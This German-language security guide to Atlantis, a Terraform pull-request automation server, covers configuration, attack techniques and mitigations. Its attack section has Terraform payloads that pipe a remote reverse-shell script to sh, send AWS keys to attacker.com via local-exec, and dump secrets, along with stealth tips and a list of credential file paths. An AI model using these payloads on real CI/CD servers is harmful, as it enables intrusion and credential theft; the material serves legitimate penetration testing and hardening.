Atlantis Security

Reading time: 17 minutes

Grundinformationen

Atlantis hilft Ihnen im Grunde, Terraform von Pull Requests von Ihrem Git-Server auszuführen.

Lokales Labor

1. Gehen Sie zur Atlantis-Release-Seite in https://github.com/runatlantis/atlantis/releases und laden Sie die passende Version herunter.
2. Erstellen Sie ein persönliches Token (mit Repo-Zugriff) Ihres GitHub-Benutzers.
3. Führen Sie ./atlantis testdrive aus, und es wird ein Demo-Repo erstellt, das Sie verwenden können, um mit Atlantis zu kommunizieren.
4. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.

Atlantis-Zugriff

Git-Server-Anmeldeinformationen

Atlantis unterstützt mehrere Git-Hosts wie GitHub, GitLab, Bitbucket und Azure DevOps.
Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm privilegierter Zugriff gewährt werden (mindestens Schreibberechtigungen).
Die Dokumentation empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten.

Webhooks

Atlantis verwendet optional Webhook-Geheimnisse, um zu validieren, dass die Webhooks, die es von Ihrem Git-Host erhält, legitim sind.

Eine Möglichkeit, dies zu bestätigen, wäre, Anfragen nur von den IPs Ihres Git-Hosts zuzulassen, aber ein einfacherer Weg ist die Verwendung eines Webhook-Geheimnisses.

Beachten Sie, dass Sie, es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren müssen.

Anbieteranmeldeinformationen

Aus der Dokumentation:

Atlantis führt Terraform aus, indem es einfach die terraform plan und apply-Befehle auf dem Server ausführt, auf dem Atlantis gehostet wird. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.

Es liegt an Ihnen, wie Sie Anmeldeinformationen bereitstellen für Ihren spezifischen Anbieter an Atlantis:

• Das Atlantis Helm-Chart und das AWS Fargate-Modul haben ihre eigenen Mechanismen für Anbieteranmeldeinformationen. Lesen Sie deren Dokumentation.
• Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z. B.:
• AWS EC2-Rollen (Suchen Sie nach "EC2-Rolle")
• GCE-Instanzdienstkonten
• Viele Benutzer setzen Umgebungsvariablen, z. B. AWS_ACCESS_KEY, wo Atlantis ausgeführt wird.
• Andere erstellen die erforderlichen Konfigurationsdateien, z. B. ~/.aws/credentials, wo Atlantis ausgeführt wird.
• Verwenden Sie den HashiCorp Vault Provider, um Anbieteranmeldeinformationen zu erhalten.

Webseite

Standardmäßig wird Atlantis eine Webseite auf Port 4141 auf localhost ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis anzuwenden/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).

Sie werden sie wahrscheinlich nicht im Internet finden, aber es scheint, dass standardmäßig keine Anmeldeinformationen erforderlich sind, um darauf zuzugreifen (und wenn doch, sind atlantis:atlantis die Standard-Anmeldeinformationen).

Serverkonfiguration

Die Konfiguration für atlantis server kann über Befehlszeilenflags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.

• Sie finden hier die Liste der unterstützten Flags für den Atlantis-Server.
• Sie finden hier, wie man eine Konfigurationsoption in eine Umgebungsvariable umwandelt.

Werte werden in dieser Reihenfolge ausgewählt:

1. Flags
2. Umgebungsvariablen
3. Konfigurationsdatei

Repo-Konfiguration

Einige Konfigurationen beeinflussen, wie die Repos verwaltet werden. Es ist jedoch möglich, dass jedes Repo unterschiedliche Einstellungen erfordert, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:

1. Repo /atlantis.yml Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags, die dies erlauben, nicht angegeben werden.
2. Wahrscheinlich erforderlich, um durch Flags wie allowed_overrides oder allow_custom_workflows erlaubt zu werden.
3. Serverseitige Konfiguration: Sie können sie mit dem Flag --repo-config übergeben, und es handelt sich um eine YAML-Datei, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
4. Standard-Werte.

PR-Schutz

Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der PR von jemand anderem genehmigt wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder zusammenführbar ist (Branch-Schutz bestanden) bevor apply ausgeführt wird. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.

Falls allowed_overrides wahr ist, können diese Einstellungen in jedem Projekt durch die /atlantis.yml-Datei überschrieben werden.

Skripte

Die Repo-Konfiguration kann Skripte angeben, die vor (Pre-Workflow-Hooks) und nach (Post-Workflow-Hooks) einem Workflow ausgeführt werden.

Es gibt keine Option, um diese Skripte in der Repo /atlantis.yml-Datei anzugeben.

Workflow

In der Repo-Konfiguration (serverseitige Konfiguration) können Sie einen neuen Standard-Workflow angeben oder neue benutzerdefinierte Workflows erstellen. Sie können auch angeben, welche Repos auf die neuen generierten zugreifen können.
Dann können Sie die atlantis.yaml-Datei jedes Repos erlauben, den zu verwendenden Workflow anzugeben.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest-Policy-Überprüfung

Atlantis unterstützt die Ausführung von serverseitigen Conftest Richtlinien gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:

• Verweigerung der Nutzung einer Liste von Modulen
• Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung
• Auffangen unbeabsichtigter Ressourcenlöschungen
• Verhinderung von Sicherheitsrisiken (z. B. das Offenlegen sicherer Ports für die Öffentlichkeit)

Sie können überprüfen, wie Sie es in der Dokumentation konfigurieren.

Atlantis-Befehle

In der Dokumentation finden Sie die Optionen, die Sie verwenden können, um Atlantis auszuführen:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Angriffe

Sie können ihn beheben, indem Sie Folgendes ausführen:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Konfigurationsänderung in neuem PR

Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie atlantis plan ausführen können (oder es möglicherweise automatisch ausgeführt wird), werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers durchzuführen.

Sie können dies tun, indem Sie Atlantis eine externe Datenquelle laden lassen. Fügen Sie einfach eine Payload wie die folgende in die main.tf-Datei ein:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Tarnung Angriff

Sie können diesen Angriff sogar auf eine tarnendere Weise durchführen, indem Sie diese Vorschläge befolgen:

• Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie eine externe Ressource laden, die die rev shell enthält:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Sie können den rev shell Code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules finden.

• Verwenden Sie in der externen Ressource die ref-Funktion, um den terraform rev shell Code in einem Branch innerhalb des Repos zu verbergen, etwas wie: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• Stattdessen erstellen Sie einen PR zu master, um Atlantis auszulösen, erstellen Sie 2 Branches (test1 und test2) und erstellen Sie einen PR von einem zum anderen. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach den PR und die Branches.

Atlantis Plan Secrets Dump

Sie können Secrets, die von terraform verwendet werden, dumpen, indem Sie atlantis plan (terraform plan) ausführen und etwas wie dies in die Terraform-Datei einfügen:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Konfigurationsänderung in neuem PR

Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie atlantis apply ausführen können, werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen.

Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen:

• Mergeable: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie atlantis apply nur ausführen, wenn der PR mergeable ist (was bedeutet, dass der Branch-Schutz umgangen werden muss).
• Überprüfen Sie mögliche Branch-Schutzumgehungen
• Approved: Wenn dieser Schutz in Atlantis aktiviert ist, muss ein anderer Benutzer den PR genehmigen, bevor Sie atlantis apply ausführen können.
• Standardmäßig können Sie das Gitbot-Token missbrauchen, um diesen Schutz zu umgehen

Ausführen von terraform apply auf einer bösartigen Terraform-Datei mit local-exec.
Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im main.tf-Datei endet:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Befolgen Sie die Vorschläge aus der vorherigen Technik, um diesen Angriff auf eine diskretere Weise durchzuführen.

Terraform Param Injection

Wenn atlantis plan oder atlantis apply ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Etwas, das Sie übergeben können, sind Umgebungsvariablen, die hilfreich sein könnten, um einige Schutzmaßnahmen zu umgehen. Überprüfen Sie die Terraform-Umgebungsvariablen in https://www.terraform.io/cli/config/environment-variables

Benutzerdefinierter Workflow

Ausführen von bösartigen benutzerdefinierten Build-Befehlen, die in einer atlantis.yaml-Datei angegeben sind. Atlantis verwendet die atlantis.yaml-Datei aus dem Pull-Request-Zweig, nicht von master.
Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Umgehung von Plan-/Anwendungs-Schutzmaßnahmen

Wenn das serverseitige Konfigurations Flag allowed_overrides hat apply_requirements konfiguriert, ist es möglich, dass ein Repo die Plan-/Anwendungs-Schutzmaßnahmen ändert, um sie zu umgehen.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Wenn jemand atlantis plan/apply Kommentare zu Ihren gültigen Pull-Requests sendet, wird Terraform ausgeführt, wenn Sie es nicht möchten.

Darüber hinaus, wenn Sie nicht in den Branch-Schutz konfiguriert haben, um bei jedem neuen Commit zu verlangen, dass jeder PR neu bewertet wird, könnte jemand bösartige Konfigurationen (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, atlantis plan/apply ausführen und RCE erlangen.

Dies ist die Einstellung in den Github-Branch-Schutz:

Webhook Secret

Wenn es Ihnen gelingt, das Webhook-Secret zu stehlen oder wenn kein Webhook-Secret verwendet wird, könnten Sie den Atlantis-WebHook aufrufen und Atlantis-Befehle direkt ausführen.

Bitbucket

Bitbucket Cloud unterstützt keine Webhook-Secrets. Dies könnte Angreifern ermöglichen, Anfragen von Bitbucket zu fälschen. Stellen Sie sicher, dass Sie nur Bitbucket-IP-Adressen zulassen.

• Das bedeutet, dass ein Angreifer falsche Anfragen an Atlantis stellen könnte, die so aussehen, als kämen sie von Bitbucket.
• Wenn Sie --repo-allowlist angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden.
• Um dies zu verhindern, erlauben Sie Bitbucket's IP-Adressen (siehe ausgehende IPv4-Adressen).

Post-Exploitation

Wenn Sie Zugriff auf den Server erhalten haben oder zumindest LFI haben, gibt es einige interessante Dinge, die Sie versuchen sollten zu lesen:

• /home/atlantis/.git-credentials Enthält VCS-Zugangsdaten
• /atlantis-data/atlantis.db Enthält VCS-Zugangsdaten mit weiteren Informationen
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform-Zustandsdatei
• Beispiel: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Umgebungsvariablen
• /proc/[2-20]/cmdline Cmd-Zeile von atlantis server (kann sensible Daten enthalten)

Mitigationen

Verwenden Sie es nicht auf öffentlichen Repos

Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.

Verwenden Sie nicht --allow-fork-prs

Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie --allow-fork-prs nicht setzen (Standard ist false), da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.

--repo-allowlist

Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das Flag --repo-allowlist akzeptiert. Zum Beispiel:

• Bestimmte Repositories: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Ihre gesamte Organisation: --repo-allowlist=github.com/runatlantis/*
• Jedes Repository in Ihrer GitHub Enterprise-Installation: --repo-allowlist=github.yourcompany.com/*
• Alle Repositories: --repo-allowlist=*. Nützlich, wenn Sie sich in einem geschützten Netzwerk befinden, aber gefährlich, ohne auch ein Webhook-Secret festzulegen.

Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe atlantis server --help für weitere Details.

Schützen Sie Terraform-Planung

Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für terraform apply nicht ausreichen. Es ist möglich, bösartigen Code in einem terraform plan auszuführen, indem die external Datenquelle oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.

Um dies zu verhindern, könnten Sie:

1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern.
2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat.
3. Ihren serverseitigen Repo-Konfigurations plan-Schritt so modifizieren, dass er gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern validiert. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" für den PR verlangen, bevor Sie den plan fortsetzen lassen. Conftest könnte hier nützlich sein.

Webhook-Secrets

Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET festgelegt sind. Selbst mit dem gesetzten Flag --repo-allowlist könnten Angreifer Anfragen an Atlantis stellen, die sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.

Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu.

Azure DevOps Basis-Authentifizierung

Azure DevOps unterstützt das Senden eines Basis-Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.

SSL/HTTPS

Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags --ssl-cert-file und --ssl-key-file.

Aktivieren Sie die Authentifizierung auf dem Atlantis-Webserver

Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit --web-basic-auth=true und richten Sie einen Benutzernamen und ein Passwort mit den Flags --web-username=yourUsername und --web-password=yourPassword ein.

Sie können diese auch als Umgebungsvariablen übergeben: ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername und ATLANTIS_WEB_PASSWORD=yourPassword.

Referenzen

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html